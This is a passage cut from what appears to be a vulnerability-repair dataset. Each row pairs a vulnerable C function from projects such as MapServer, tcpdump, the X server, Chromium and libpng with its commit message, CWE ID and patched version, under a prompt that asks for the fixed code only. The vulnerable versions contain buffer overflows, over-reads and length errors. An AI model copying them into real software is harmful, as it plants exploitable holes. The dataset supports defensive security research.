for (y = 0; y < (ssize_t) dds_info->height; y += 4)
{
for (x = 0; x < (ssize_t) dds_info->width; x += 4)
{
/* Get 4x4 patch of pixels to write on */
q = QueueAuthenticPixels(image, x, y, MagickMin(4, dds_info->width - x),
MagickMin(4, dds_info->height - y),exception);
if (q == (PixelPacket *) NULL)
return MagickFalse;
/* Read 8 bytes of data from the image */
c0 = ReadBlobLSBShort(image);
c1 = ReadBlobLSBShort(image);
bits = ReadBlobLSBLong(image);
CalculateColors(c0, c1, &colors, MagickFalse);
/* Write the pixels */
for (j = 0; j < 4; j++)
{
for (i = 0; i < 4; i++)
{
if ((x + i) < (ssize_t) dds_info->width && (y + j) < (ssize_t) dds_info->height)
{
code = (unsigned char) ((bits >> ((j*4+i)*2)) & 0x3);
SetPixelRed(q,ScaleCharToQuantum(colors.r[code]));
SetPixelGreen(q,ScaleCharToQuantum(colors.g[code]));
SetPixelBlue(q,ScaleCharToQuantum(colors.b[code]));
SetPixelOpacity(q,ScaleCharToQuantum(colors.a[code]));
if (colors.a[code] && image->matte == MagickFalse)
/* Correct matte */
image->matte = MagickTrue;
q++;
}
}
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
return MagickFalse;
}
}
return(SkipDXTMipmaps(image,dds_info,8,exception));
}
| 168,899 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: RenderWidgetHostImpl* WebContentsImpl::GetRenderWidgetHostWithPageFocus() {
WebContentsImpl* focused_web_contents = GetFocusedWebContents();
if (focused_web_contents->ShowingInterstitialPage()) {
return static_cast<RenderFrameHostImpl*>(
focused_web_contents->GetRenderManager()
->interstitial_page()
->GetMainFrame())
->GetRenderWidgetHost();
}
return focused_web_contents->GetMainFrame()->GetRenderWidgetHost();
}
Commit Message: Don't show current RenderWidgetHostView while interstitial is showing.
Also moves interstitial page tracking from RenderFrameHostManager to
WebContents, since interstitial pages are not frame-specific. This was
necessary for subframes to detect if an interstitial page is showing.
BUG=729105
TEST=See comment 13 of bug for repro steps
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2938313002
Cr-Commit-Position: refs/heads/master@{#480117}
CWE ID: CWE-20 | RenderWidgetHostImpl* WebContentsImpl::GetRenderWidgetHostWithPageFocus() {
WebContentsImpl* focused_web_contents = GetFocusedWebContents();
if (focused_web_contents->ShowingInterstitialPage()) {
return static_cast<RenderFrameHostImpl*>(
focused_web_contents->interstitial_page_->GetMainFrame())
->GetRenderWidgetHost();
}
return focused_web_contents->GetMainFrame()->GetRenderWidgetHost();
}
| 172,330 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: char *FLTGetIsLikeComparisonCommonExpression(FilterEncodingNode *psFilterNode)
{
const size_t bufferSize = 1024;
char szBuffer[1024];
char szTmp[256];
char *pszValue = NULL;
const char *pszWild = NULL;
const char *pszSingle = NULL;
const char *pszEscape = NULL;
int bCaseInsensitive = 0;
FEPropertyIsLike* propIsLike;
int nLength=0, i=0, iTmp=0;
if (!psFilterNode || !psFilterNode->pOther || !psFilterNode->psLeftNode || !psFilterNode->psRightNode || !psFilterNode->psRightNode->pszValue)
return NULL;
propIsLike = (FEPropertyIsLike *)psFilterNode->pOther;
pszWild = propIsLike->pszWildCard;
pszSingle = propIsLike->pszSingleChar;
pszEscape = propIsLike->pszEscapeChar;
bCaseInsensitive = propIsLike->bCaseInsensitive;
if (!pszWild || strlen(pszWild) == 0 || !pszSingle || strlen(pszSingle) == 0 || !pszEscape || strlen(pszEscape) == 0)
return NULL;
/* -------------------------------------------------------------------- */
/* Use operand with regular expressions. */
/* -------------------------------------------------------------------- */
szBuffer[0] = '\0';
sprintf(szTmp, "%s", "(\"[");
szTmp[4] = '\0';
strlcat(szBuffer, szTmp, bufferSize);
/* attribute */
strlcat(szBuffer, psFilterNode->psLeftNode->pszValue, bufferSize);
szBuffer[strlen(szBuffer)] = '\0';
/* #3521 */
if (bCaseInsensitive == 1)
sprintf(szTmp, "%s", "]\" ~* \"");
else
sprintf(szTmp, "%s", "]\" ~ \"");
szTmp[7] = '\0';
strlcat(szBuffer, szTmp, bufferSize);
szBuffer[strlen(szBuffer)] = '\0';
pszValue = psFilterNode->psRightNode->pszValue;
nLength = strlen(pszValue);
iTmp =0;
if (nLength > 0 && pszValue[0] != pszWild[0] && pszValue[0] != pszSingle[0] && pszValue[0] != pszEscape[0]) {
szTmp[iTmp]= '^';
iTmp++;
}
for (i=0; i<nLength; i++) {
if (pszValue[i] != pszWild[0] && pszValue[i] != pszSingle[0] && pszValue[i] != pszEscape[0]) {
szTmp[iTmp] = pszValue[i];
iTmp++;
szTmp[iTmp] = '\0';
} else if (pszValue[i] == pszSingle[0]) {
szTmp[iTmp] = '.';
iTmp++;
szTmp[iTmp] = '\0';
} else if (pszValue[i] == pszEscape[0]) {
szTmp[iTmp] = '\\';
iTmp++;
szTmp[iTmp] = '\0';
} else if (pszValue[i] == pszWild[0]) {
szTmp[iTmp++] = '.';
szTmp[iTmp++] = '*';
szTmp[iTmp] = '\0';
}
}
szTmp[iTmp] = '"';
szTmp[++iTmp] = '\0';
strlcat(szBuffer, szTmp, bufferSize);
strlcat(szBuffer, ")", bufferSize);
return msStrdup(szBuffer);
}
Commit Message: security fix (patch by EvenR)
CWE ID: CWE-119 | char *FLTGetIsLikeComparisonCommonExpression(FilterEncodingNode *psFilterNode)
{
const size_t bufferSize = 1024;
char szBuffer[1024];
char szTmp[256];
char *pszValue = NULL;
const char *pszWild = NULL;
const char *pszSingle = NULL;
const char *pszEscape = NULL;
int bCaseInsensitive = 0;
FEPropertyIsLike* propIsLike;
int nLength=0, i=0, iTmp=0;
if (!psFilterNode || !psFilterNode->pOther || !psFilterNode->psLeftNode || !psFilterNode->psRightNode || !psFilterNode->psRightNode->pszValue)
return NULL;
propIsLike = (FEPropertyIsLike *)psFilterNode->pOther;
pszWild = propIsLike->pszWildCard;
pszSingle = propIsLike->pszSingleChar;
pszEscape = propIsLike->pszEscapeChar;
bCaseInsensitive = propIsLike->bCaseInsensitive;
if (!pszWild || strlen(pszWild) == 0 || !pszSingle || strlen(pszSingle) == 0 || !pszEscape || strlen(pszEscape) == 0)
return NULL;
/* -------------------------------------------------------------------- */
/* Use operand with regular expressions. */
/* -------------------------------------------------------------------- */
szBuffer[0] = '\0';
sprintf(szTmp, "%s", "(\"[");
szTmp[4] = '\0';
strlcat(szBuffer, szTmp, bufferSize);
/* attribute */
strlcat(szBuffer, psFilterNode->psLeftNode->pszValue, bufferSize);
szBuffer[strlen(szBuffer)] = '\0';
/* #3521 */
if (bCaseInsensitive == 1)
sprintf(szTmp, "%s", "]\" ~* \"");
else
sprintf(szTmp, "%s", "]\" ~ \"");
szTmp[7] = '\0';
strlcat(szBuffer, szTmp, bufferSize);
szBuffer[strlen(szBuffer)] = '\0';
pszValue = psFilterNode->psRightNode->pszValue;
nLength = strlen(pszValue);
if( 1 + 2 * nLength + 1 + 1 >= sizeof(szTmp) )
return NULL;
iTmp =0;
if (nLength > 0 && pszValue[0] != pszWild[0] && pszValue[0] != pszSingle[0] && pszValue[0] != pszEscape[0]) {
szTmp[iTmp]= '^';
iTmp++;
}
for (i=0; i<nLength; i++) {
if (pszValue[i] != pszWild[0] && pszValue[i] != pszSingle[0] && pszValue[i] != pszEscape[0]) {
szTmp[iTmp] = pszValue[i];
iTmp++;
szTmp[iTmp] = '\0';
} else if (pszValue[i] == pszSingle[0]) {
szTmp[iTmp] = '.';
iTmp++;
szTmp[iTmp] = '\0';
} else if (pszValue[i] == pszEscape[0]) {
szTmp[iTmp] = '\\';
iTmp++;
szTmp[iTmp] = '\0';
} else if (pszValue[i] == pszWild[0]) {
szTmp[iTmp++] = '.';
szTmp[iTmp++] = '*';
szTmp[iTmp] = '\0';
}
}
szTmp[iTmp] = '"';
szTmp[++iTmp] = '\0';
strlcat(szBuffer, szTmp, bufferSize);
strlcat(szBuffer, ")", bufferSize);
return msStrdup(szBuffer);
}
| 168,400 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void VaapiVideoDecodeAccelerator::Cleanup() {
DCHECK(task_runner_->BelongsToCurrentThread());
base::AutoLock auto_lock(lock_);
if (state_ == kUninitialized || state_ == kDestroying)
return;
VLOGF(2) << "Destroying VAVDA";
state_ = kDestroying;
client_ptr_factory_.reset();
weak_this_factory_.InvalidateWeakPtrs();
input_ready_.Signal();
surfaces_available_.Signal();
{
base::AutoUnlock auto_unlock(lock_);
decoder_thread_.Stop();
}
state_ = kUninitialized;
}
Commit Message: vaapi vda: Delete owned objects on worker thread in Cleanup()
This CL adds a SEQUENCE_CHECKER to Vaapi*Accelerator classes, and
posts the destruction of those objects to the appropriate thread on
Cleanup().
Also makes {H264,VP8,VP9}Picture RefCountedThreadSafe, see miu@
comment in
https://chromium-review.googlesource.com/c/chromium/src/+/794091#message-a64bed985cfaf8a19499a517bb110a7ce581dc0f
TEST=play back VP9/VP8/H264 w/ simplechrome on soraka, Release build
unstripped, let video play for a few seconds then navigate back; no
crashes. Unittests as before:
video_decode_accelerator_unittest --test_video_data=test-25fps.vp9:320:240:250:250:35:150:12
video_decode_accelerator_unittest --test_video_data=test-25fps.vp8:320:240:250:250:35:150:11
video_decode_accelerator_unittest --test_video_data=test-25fps.h264:320:240:250:258:35:150:1
Bug: 789160
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I7d96aaf89c92bf46f00c8b8b36798e057a842ed2
Reviewed-on: https://chromium-review.googlesource.com/794091
Reviewed-by: Pawel Osciak <[email protected]>
Commit-Queue: Miguel Casas <[email protected]>
Cr-Commit-Position: refs/heads/master@{#523372}
CWE ID: CWE-362 | void VaapiVideoDecodeAccelerator::Cleanup() {
DCHECK(task_runner_->BelongsToCurrentThread());
base::AutoLock auto_lock(lock_);
if (state_ == kUninitialized || state_ == kDestroying)
return;
VLOGF(2) << "Destroying VAVDA";
state_ = kDestroying;
client_ptr_factory_.reset();
weak_this_factory_.InvalidateWeakPtrs();
decoder_thread_task_runner_->DeleteSoon(FROM_HERE, decoder_.release());
if (h264_accelerator_) {
decoder_thread_task_runner_->DeleteSoon(FROM_HERE,
h264_accelerator_.release());
} else if (vp8_accelerator_) {
decoder_thread_task_runner_->DeleteSoon(FROM_HERE,
vp8_accelerator_.release());
} else if (vp9_accelerator_) {
decoder_thread_task_runner_->DeleteSoon(FROM_HERE,
vp9_accelerator_.release());
}
input_ready_.Signal();
surfaces_available_.Signal();
{
base::AutoUnlock auto_unlock(lock_);
decoder_thread_.Stop();
}
state_ = kUninitialized;
}
| 172,796 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: ProcXIChangeHierarchy(ClientPtr client)
{
xXIAnyHierarchyChangeInfo *any;
size_t len; /* length of data remaining in request */
int rc = Success;
int flags[MAXDEVICES] = { 0 };
REQUEST(xXIChangeHierarchyReq);
REQUEST_AT_LEAST_SIZE(xXIChangeHierarchyReq);
if (!stuff->num_changes)
return rc;
len = ((size_t)stuff->length << 2) - sizeof(xXIAnyHierarchyChangeInfo);
any = (xXIAnyHierarchyChangeInfo *) &stuff[1];
while (stuff->num_changes--) {
if (len < sizeof(xXIAnyHierarchyChangeInfo)) {
rc = BadLength;
goto unwind;
}
SWAPIF(swaps(&any->type));
SWAPIF(swaps(&any->length));
if (len < ((size_t)any->length << 2))
return BadLength;
#define CHANGE_SIZE_MATCH(type) \
do { \
if ((len < sizeof(type)) || (any->length != (sizeof(type) >> 2))) { \
rc = BadLength; \
goto unwind; \
} \
} while(0)
switch (any->type) {
case XIAddMaster:
{
xXIAddMasterInfo *c = (xXIAddMasterInfo *) any;
/* Variable length, due to appended name string */
if (len < sizeof(xXIAddMasterInfo)) {
rc = BadLength;
goto unwind;
}
SWAPIF(swaps(&c->name_len));
if (c->name_len > (len - sizeof(xXIAddMasterInfo))) {
rc = BadLength;
goto unwind;
}
rc = add_master(client, c, flags);
if (rc != Success)
goto unwind;
}
break;
case XIRemoveMaster:
{
xXIRemoveMasterInfo *r = (xXIRemoveMasterInfo *) any;
CHANGE_SIZE_MATCH(xXIRemoveMasterInfo);
rc = remove_master(client, r, flags);
if (rc != Success)
goto unwind;
}
break;
case XIDetachSlave:
{
xXIDetachSlaveInfo *c = (xXIDetachSlaveInfo *) any;
CHANGE_SIZE_MATCH(xXIDetachSlaveInfo);
rc = detach_slave(client, c, flags);
if (rc != Success)
goto unwind;
}
break;
case XIAttachSlave:
{
xXIAttachSlaveInfo *c = (xXIAttachSlaveInfo *) any;
CHANGE_SIZE_MATCH(xXIAttachSlaveInfo);
rc = attach_slave(client, c, flags);
if (rc != Success)
goto unwind;
}
break;
}
len -= any->length * 4;
any = (xXIAnyHierarchyChangeInfo *) ((char *) any + any->length * 4);
}
unwind:
XISendDeviceHierarchyEvent(flags);
return rc;
}
Commit Message:
CWE ID: CWE-20 | ProcXIChangeHierarchy(ClientPtr client)
{
xXIAnyHierarchyChangeInfo *any;
size_t len; /* length of data remaining in request */
int rc = Success;
int flags[MAXDEVICES] = { 0 };
REQUEST(xXIChangeHierarchyReq);
REQUEST_AT_LEAST_SIZE(xXIChangeHierarchyReq);
if (!stuff->num_changes)
return rc;
len = ((size_t)stuff->length << 2) - sizeof(xXIChangeHierarchyReq);
any = (xXIAnyHierarchyChangeInfo *) &stuff[1];
while (stuff->num_changes--) {
if (len < sizeof(xXIAnyHierarchyChangeInfo)) {
rc = BadLength;
goto unwind;
}
SWAPIF(swaps(&any->type));
SWAPIF(swaps(&any->length));
if (len < ((size_t)any->length << 2))
return BadLength;
#define CHANGE_SIZE_MATCH(type) \
do { \
if ((len < sizeof(type)) || (any->length != (sizeof(type) >> 2))) { \
rc = BadLength; \
goto unwind; \
} \
} while(0)
switch (any->type) {
case XIAddMaster:
{
xXIAddMasterInfo *c = (xXIAddMasterInfo *) any;
/* Variable length, due to appended name string */
if (len < sizeof(xXIAddMasterInfo)) {
rc = BadLength;
goto unwind;
}
SWAPIF(swaps(&c->name_len));
if (c->name_len > (len - sizeof(xXIAddMasterInfo))) {
rc = BadLength;
goto unwind;
}
rc = add_master(client, c, flags);
if (rc != Success)
goto unwind;
}
break;
case XIRemoveMaster:
{
xXIRemoveMasterInfo *r = (xXIRemoveMasterInfo *) any;
CHANGE_SIZE_MATCH(xXIRemoveMasterInfo);
rc = remove_master(client, r, flags);
if (rc != Success)
goto unwind;
}
break;
case XIDetachSlave:
{
xXIDetachSlaveInfo *c = (xXIDetachSlaveInfo *) any;
CHANGE_SIZE_MATCH(xXIDetachSlaveInfo);
rc = detach_slave(client, c, flags);
if (rc != Success)
goto unwind;
}
break;
case XIAttachSlave:
{
xXIAttachSlaveInfo *c = (xXIAttachSlaveInfo *) any;
CHANGE_SIZE_MATCH(xXIAttachSlaveInfo);
rc = attach_slave(client, c, flags);
if (rc != Success)
goto unwind;
}
break;
}
len -= any->length * 4;
any = (xXIAnyHierarchyChangeInfo *) ((char *) any + any->length * 4);
}
unwind:
XISendDeviceHierarchyEvent(flags);
return rc;
}
| 165,446 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: perform_formatting_test(png_store *volatile ps)
{
#ifdef PNG_TIME_RFC1123_SUPPORTED
/* The handle into the formatting code is the RFC1123 support; this test does
* nothing if that is compiled out.
*/
context(ps, fault);
Try
{
png_const_charp correct = "29 Aug 2079 13:53:60 +0000";
png_const_charp result;
# if PNG_LIBPNG_VER >= 10600
char timestring[29];
# endif
png_structp pp;
png_time pt;
pp = set_store_for_write(ps, NULL, "libpng formatting test");
if (pp == NULL)
Throw ps;
/* Arbitrary settings: */
pt.year = 2079;
pt.month = 8;
pt.day = 29;
pt.hour = 13;
pt.minute = 53;
pt.second = 60; /* a leap second */
# if PNG_LIBPNG_VER < 10600
result = png_convert_to_rfc1123(pp, &pt);
# else
if (png_convert_to_rfc1123_buffer(timestring, &pt))
result = timestring;
else
result = NULL;
# endif
if (result == NULL)
png_error(pp, "png_convert_to_rfc1123 failed");
if (strcmp(result, correct) != 0)
{
size_t pos = 0;
char msg[128];
pos = safecat(msg, sizeof msg, pos, "png_convert_to_rfc1123(");
pos = safecat(msg, sizeof msg, pos, correct);
pos = safecat(msg, sizeof msg, pos, ") returned: '");
pos = safecat(msg, sizeof msg, pos, result);
pos = safecat(msg, sizeof msg, pos, "'");
png_error(pp, msg);
}
store_write_reset(ps);
}
Catch(fault)
{
store_write_reset(fault);
}
#else
UNUSED(ps)
#endif
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID: | perform_formatting_test(png_store *volatile ps)
perform_formatting_test(png_store *ps)
{
#ifdef PNG_TIME_RFC1123_SUPPORTED
/* The handle into the formatting code is the RFC1123 support; this test does
* nothing if that is compiled out.
*/
context(ps, fault);
Try
{
png_const_charp correct = "29 Aug 2079 13:53:60 +0000";
png_const_charp result;
# if PNG_LIBPNG_VER >= 10600
char timestring[29];
# endif
png_structp pp;
png_time pt;
pp = set_store_for_write(ps, NULL, "libpng formatting test");
if (pp == NULL)
Throw ps;
/* Arbitrary settings: */
pt.year = 2079;
pt.month = 8;
pt.day = 29;
pt.hour = 13;
pt.minute = 53;
pt.second = 60; /* a leap second */
# if PNG_LIBPNG_VER < 10600
result = png_convert_to_rfc1123(pp, &pt);
# else
if (png_convert_to_rfc1123_buffer(timestring, &pt))
result = timestring;
else
result = NULL;
# endif
if (result == NULL)
png_error(pp, "png_convert_to_rfc1123 failed");
if (strcmp(result, correct) != 0)
{
size_t pos = 0;
char msg[128];
pos = safecat(msg, sizeof msg, pos, "png_convert_to_rfc1123(");
pos = safecat(msg, sizeof msg, pos, correct);
pos = safecat(msg, sizeof msg, pos, ") returned: '");
pos = safecat(msg, sizeof msg, pos, result);
pos = safecat(msg, sizeof msg, pos, "'");
png_error(pp, msg);
}
store_write_reset(ps);
}
Catch(fault)
{
store_write_reset(fault);
}
#else
UNUSED(ps)
#endif
}
| 173,678 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: juniper_pppoe_atm_print(netdissect_options *ndo,
const struct pcap_pkthdr *h, register const u_char *p)
{
struct juniper_l2info_t l2info;
uint16_t extracted_ethertype;
l2info.pictype = DLT_JUNIPER_PPPOE_ATM;
if (juniper_parse_header(ndo, p, h, &l2info) == 0)
return l2info.header_len;
p+=l2info.header_len;
extracted_ethertype = EXTRACT_16BITS(p);
/* this DLT contains nothing but raw PPPoE frames,
* prepended with a type field*/
if (ethertype_print(ndo, extracted_ethertype,
p+ETHERTYPE_LEN,
l2info.length-ETHERTYPE_LEN,
l2info.caplen-ETHERTYPE_LEN,
NULL, NULL) == 0)
/* ether_type not known, probably it wasn't one */
ND_PRINT((ndo, "unknown ethertype 0x%04x", extracted_ethertype));
return l2info.header_len;
}
Commit Message: CVE-2017-12993/Juniper: Add more bounds checks.
This fixes a buffer over-read discovered by Kamil Frankowicz.
Add tests using the capture files supplied by the reporter(s).
CWE ID: CWE-125 | juniper_pppoe_atm_print(netdissect_options *ndo,
const struct pcap_pkthdr *h, register const u_char *p)
{
struct juniper_l2info_t l2info;
uint16_t extracted_ethertype;
l2info.pictype = DLT_JUNIPER_PPPOE_ATM;
if (juniper_parse_header(ndo, p, h, &l2info) == 0)
return l2info.header_len;
p+=l2info.header_len;
ND_TCHECK2(p[0], 2);
extracted_ethertype = EXTRACT_16BITS(p);
/* this DLT contains nothing but raw PPPoE frames,
* prepended with a type field*/
if (ethertype_print(ndo, extracted_ethertype,
p+ETHERTYPE_LEN,
l2info.length-ETHERTYPE_LEN,
l2info.caplen-ETHERTYPE_LEN,
NULL, NULL) == 0)
/* ether_type not known, probably it wasn't one */
ND_PRINT((ndo, "unknown ethertype 0x%04x", extracted_ethertype));
return l2info.header_len;
trunc:
ND_PRINT((ndo, "[|juniper_pppoe_atm]"));
return l2info.header_len;
}
| 167,920 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void ProcessExifDir(unsigned char * DirStart, unsigned char * OffsetBase,
unsigned ExifLength, int NestingLevel)
{
int de;
int a;
int NumDirEntries;
unsigned ThumbnailOffset = 0;
unsigned ThumbnailSize = 0;
char IndentString[25];
printf("ProcessExifDir");
if (NestingLevel > 4){
ErrNonfatal("Maximum directory nesting exceeded (corrupt exif header)", 0,0);
return;
}
memset(IndentString, ' ', 25);
IndentString[NestingLevel * 4] = '\0';
NumDirEntries = Get16u(DirStart);
#define DIR_ENTRY_ADDR(Start, Entry) (Start+2+12*(Entry))
{
unsigned char * DirEnd;
DirEnd = DIR_ENTRY_ADDR(DirStart, NumDirEntries);
if (DirEnd+4 > (OffsetBase+ExifLength)){
if (DirEnd+2 == OffsetBase+ExifLength || DirEnd == OffsetBase+ExifLength){
}else{
ErrNonfatal("Illegally sized exif subdirectory (%d entries)",NumDirEntries,0);
return;
}
}
if (DumpExifMap){
printf("Map: %05d-%05d: Directory\n",(int)(DirStart-OffsetBase), (int)(DirEnd+4-OffsetBase));
}
}
if (ShowTags){
printf("(dir has %d entries)\n",NumDirEntries);
}
for (de=0;de<NumDirEntries;de++){
int Tag, Format, Components;
unsigned char * ValuePtr;
int ByteCount;
unsigned char * DirEntry;
DirEntry = DIR_ENTRY_ADDR(DirStart, de);
Tag = Get16u(DirEntry);
Format = Get16u(DirEntry+2);
Components = Get32u(DirEntry+4);
if ((Format-1) >= NUM_FORMATS) {
ErrNonfatal("Illegal number format %d for tag %04x", Format, Tag);
continue;
}
if ((unsigned)Components > 0x10000){
ErrNonfatal("Illegal number of components %d for tag %04x", Components, Tag);
continue;
}
ByteCount = Components * BytesPerFormat[Format];
if (ByteCount > 4){
unsigned OffsetVal;
OffsetVal = Get32u(DirEntry+8);
if (OffsetVal+ByteCount > ExifLength){
ErrNonfatal("Illegal value pointer for tag %04x", Tag,0);
continue;
}
ValuePtr = OffsetBase+OffsetVal;
if (OffsetVal > ImageInfo.LargestExifOffset){
ImageInfo.LargestExifOffset = OffsetVal;
}
if (DumpExifMap){
printf("Map: %05d-%05d: Data for tag %04x\n",OffsetVal, OffsetVal+ByteCount, Tag);
}
}else{
ValuePtr = DirEntry+8;
}
if (Tag == TAG_MAKER_NOTE){
if (ShowTags){
printf("%s Maker note: ",IndentString);
}
ProcessMakerNote(ValuePtr, ByteCount, OffsetBase, ExifLength);
continue;
}
if (ShowTags){
for (a=0;;a++){
if (a >= (int)TAG_TABLE_SIZE){
printf("%s", IndentString);
printf(" Unknown Tag %04x Value = ", Tag);
break;
}
if (TagTable[a].Tag == Tag){
printf("%s", IndentString);
printf(" %s = ",TagTable[a].Desc);
break;
}
}
switch(Format){
case FMT_BYTE:
if(ByteCount>1){
printf("%.*ls\n", ByteCount/2, (wchar_t *)ValuePtr);
}else{
PrintFormatNumber(ValuePtr, Format, ByteCount);
printf("\n");
}
break;
case FMT_UNDEFINED:
case FMT_STRING:
{
printf("\"%s\"", ValuePtr);
}
break;
default:
PrintFormatNumber(ValuePtr, Format, ByteCount);
printf("\n");
}
}
switch(Tag){
case TAG_MAKE:
strncpy(ImageInfo.CameraMake, (char *)ValuePtr, ByteCount < 31 ? ByteCount : 31);
break;
case TAG_MODEL:
strncpy(ImageInfo.CameraModel, (char *)ValuePtr, ByteCount < 39 ? ByteCount : 39);
break;
case TAG_SUBSEC_TIME:
strlcpy(ImageInfo.SubSecTime, (char *)ValuePtr, sizeof(ImageInfo.SubSecTime));
break;
case TAG_SUBSEC_TIME_ORIG:
strlcpy(ImageInfo.SubSecTimeOrig, (char *)ValuePtr,
sizeof(ImageInfo.SubSecTimeOrig));
break;
case TAG_SUBSEC_TIME_DIG:
strlcpy(ImageInfo.SubSecTimeDig, (char *)ValuePtr,
sizeof(ImageInfo.SubSecTimeDig));
break;
case TAG_DATETIME_DIGITIZED:
strlcpy(ImageInfo.DigitizedTime, (char *)ValuePtr,
sizeof(ImageInfo.DigitizedTime));
if (ImageInfo.numDateTimeTags >= MAX_DATE_COPIES){
ErrNonfatal("More than %d date fields! This is nuts", MAX_DATE_COPIES, 0);
break;
}
ImageInfo.DateTimeOffsets[ImageInfo.numDateTimeTags++] =
(char *)ValuePtr - (char *)OffsetBase;
break;
case TAG_DATETIME_ORIGINAL:
strncpy(ImageInfo.DateTime, (char *)ValuePtr, 19);
case TAG_DATETIME:
if (!isdigit(ImageInfo.DateTime[0])){
strncpy(ImageInfo.DateTime, (char *)ValuePtr, 19);
}
if (ImageInfo.numDateTimeTags >= MAX_DATE_COPIES){
ErrNonfatal("More than %d date fields! This is nuts", MAX_DATE_COPIES, 0);
break;
}
ImageInfo.DateTimeOffsets[ImageInfo.numDateTimeTags++] =
(char *)ValuePtr - (char *)OffsetBase;
break;
case TAG_WINXP_COMMENT:
if (ImageInfo.Comments[0]){ // We already have a jpeg comment.
if (ShowTags) printf("Windows XP commend and other comment in header\n");
break; // Already have a windows comment, skip this one.
}
if (ByteCount > 1){
if (ByteCount > MAX_COMMENT_SIZE) ByteCount = MAX_COMMENT_SIZE;
memcpy(ImageInfo.Comments, ValuePtr, ByteCount);
ImageInfo.CommentWidchars = ByteCount/2;
}
break;
case TAG_USERCOMMENT:
if (ImageInfo.Comments[0]){ // We already have a jpeg comment.
if (ShowTags) printf("Multiple comments in exif header\n");
break; // Already have a windows comment, skip this one.
}
for (a=ByteCount;;){
a--;
if ((ValuePtr)[a] == ' '){
(ValuePtr)[a] = '\0';
}else{
break;
}
if (a == 0) break;
}
{
int msiz = ExifLength - (ValuePtr-OffsetBase);
if (msiz > ByteCount) msiz = ByteCount;
if (msiz > MAX_COMMENT_SIZE - 1) msiz = MAX_COMMENT_SIZE - 1;
if (msiz > 5 && memcmp(ValuePtr, "ASCII", 5) == 0) {
for (a = 5; a < 10 && a < msiz; a++) {
int c = (ValuePtr)[a];
if (c != '\0' && c != ' ') {
strncpy(ImageInfo.Comments,
(char *)ValuePtr + a, msiz - a);
break;
}
}
} else {
strncpy(ImageInfo.Comments, (char *)ValuePtr, msiz);
}
}
break;
case TAG_FNUMBER:
ImageInfo.ApertureFNumber = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_APERTURE:
case TAG_MAXAPERTURE:
if (ImageInfo.ApertureFNumber == 0){
ImageInfo.ApertureFNumber
= (float)exp(ConvertAnyFormat(ValuePtr, Format)*log(2)*0.5);
}
break;
case TAG_FOCALLENGTH:
ImageInfo.FocalLength.num = Get32u(ValuePtr);
ImageInfo.FocalLength.denom = Get32u(4+(char *)ValuePtr);
break;
case TAG_SUBJECT_DISTANCE:
ImageInfo.Distance = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_EXPOSURETIME:
ImageInfo.ExposureTime = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_SHUTTERSPEED:
if (ImageInfo.ExposureTime == 0){
ImageInfo.ExposureTime
= (float)(1/exp(ConvertAnyFormat(ValuePtr, Format)*log(2)));
}
break;
case TAG_FLASH:
ImageInfo.FlashUsed=(int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_ORIENTATION:
if (NumOrientations >= 2){
ErrNonfatal("More than two orientation tags!",0,0);
break;
}
OrientationPtr[NumOrientations] = ValuePtr;
OrientationNumFormat[NumOrientations] = Format;
if (NumOrientations == 0){
ImageInfo.Orientation = (int)ConvertAnyFormat(ValuePtr, Format);
}
if (ImageInfo.Orientation < 0 || ImageInfo.Orientation > 8){
ErrNonfatal("Undefined rotation value %d", ImageInfo.Orientation, 0);
ImageInfo.Orientation = 0;
}
NumOrientations += 1;
break;
case TAG_EXIF_IMAGELENGTH:
case TAG_EXIF_IMAGEWIDTH:
a = (int)ConvertAnyFormat(ValuePtr, Format);
if (ExifImageWidth < a) ExifImageWidth = a;
break;
case TAG_FOCAL_PLANE_XRES:
FocalplaneXRes = ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_FOCAL_PLANE_UNITS:
switch((int)ConvertAnyFormat(ValuePtr, Format)){
case 1: FocalplaneUnits = 25.4; break; // inch
case 2:
FocalplaneUnits = 25.4;
break;
case 3: FocalplaneUnits = 10; break; // centimeter
case 4: FocalplaneUnits = 1; break; // millimeter
case 5: FocalplaneUnits = .001; break; // micrometer
}
break;
case TAG_EXPOSURE_BIAS:
ImageInfo.ExposureBias = (float)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_WHITEBALANCE:
ImageInfo.Whitebalance = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_LIGHT_SOURCE:
ImageInfo.LightSource = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_METERING_MODE:
ImageInfo.MeteringMode = (int)ConvertAnyFormat(ValuePtr, Format);
break;
case TAG_EXPOSURE_PROGRAM:
ImageInfo.ExposureProgram = (int)ConvertAnyFormat(ValuePtr, Format);
break;
